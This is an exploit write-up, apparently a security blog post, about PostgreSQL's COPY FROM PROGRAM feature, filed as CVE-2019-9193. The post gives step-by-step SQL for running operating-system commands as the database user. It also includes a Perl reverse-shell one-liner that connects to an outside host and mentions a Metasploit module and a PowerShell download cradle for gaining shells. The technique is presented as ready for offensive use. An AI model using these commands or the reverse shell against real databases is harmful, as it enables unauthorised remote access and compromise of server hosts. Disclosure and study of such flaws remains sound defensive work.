Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest

Greenwolf Security
Published in
4 min readMar 20, 2019


PostgreSQL, commonly known as Postgres is one of the largest and most popular database systems in the world. It is the primary database of Mac OSX but also has Linux and Windows versions available.

Today I’m going to go over a less well known ‘feature’ (CVE-2019–9193) which allows certain database users to gain arbitrary code execution in the context of the user running the Postgres instance. This is something which is enabled by default on all versions of PostgreSQL from 9.3 through to the latest of 11.2. This affects all operating systems, Windows, Linux and Mac.

Since version 9.3, new functionality for ‘COPY TO/FROM PROGRAM’ was implemented. This allows the database superuser, and any user in the ‘pg_execute_server_program’ group to run arbitrary operating system commands. This effectively means there is no separation of privilege between a database superuser user and the user running the database on the operating system.

This is a lack of defense in depth which we used to see in Microsoft SQL Server back in the early 2000s, when the xp_cmdshell function was enabled by default. This was patched and disabled by default in Microsoft SQL Server 2005, but it is interesting how the same bugs repeat, seemingly in cycles.

As this bug/flaw/functionality/exploit is somewhere between a privilege escalation and an arbitrary code execution, it needs some kind of prior authentication. This is achieved either through access to the database with credentials, or via exploiting an SQL injection in an application which has PostgreSQL on the backend. Again, in both of these instances either the superuser or a user with ‘pg_execute_server_program’ permissions needs to be in use.

To perform the attack, you simply follow these steps:

1) [Optional] Drop the table you want to use if it already exists


2) Create the table you want to hold the command output

CREATE TABLE cmd_exec(cmd_output text);

3) Run the system command via the COPY FROM PROGRAM function

COPY cmd_exec FROM PROGRAM ‘id’;

4) [Optional] View the results

SELECT * FROM cmd_exec;

5) [Optional] Clean up after yourself


Note that any single quotes inside your command must be double single quotes to escape them, so for example if you wanted to run:

echo ‘hello’;

You would need to put it inside single quotes, and then replace all single quotes inside with double single quotes:

‘echo ‘’hello’’;’

I have tested this on all major operating systems, and if a reverse shell is triggered you end up with the following privileges:

Linux - postgres (low priv)
Mac - user that installed postgres (usually an admin)

Linux and Mac OSX can usually be exploited with a perl one liner, with a command such as this:

COPY files FROM PROGRAM ‘perl -MIO -e ‘’$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’’’;

I have simplified the exploitation processes by releasing a new Metasploit module (which should be merged into the main framework soon), as the old postgres_payload modules only work up to around version 8. postgres_copy_from_program_cmd_exec.rb performs all of the above automatically, if you provide it with valid database credentials which have the correct permissions. For SQL Injections you will have to take the manual route. Here it’s exploiting PostgreSQL 11.2 on Linux Ubuntu 18.04:

For Windows however, the NETWORK SERVICE user appears not the have any write privileges, but it was still possible to trigger a reverse shell by using a PowerShell download cradle. This can be provided by settings the COMMAND variable to the PowerShell cradle command, take note to escape single quotes with a backslash \. Here it’s exploiting PostgreSQL 10.7 on Windows 10.

I hope you find this new technique useful.

Update: This blogpost previously contained a mistake in that it is in fact users in ‘pg_execute_server_program’ group which can perform this attack, not users in the ‘pg_read_server_files’ group.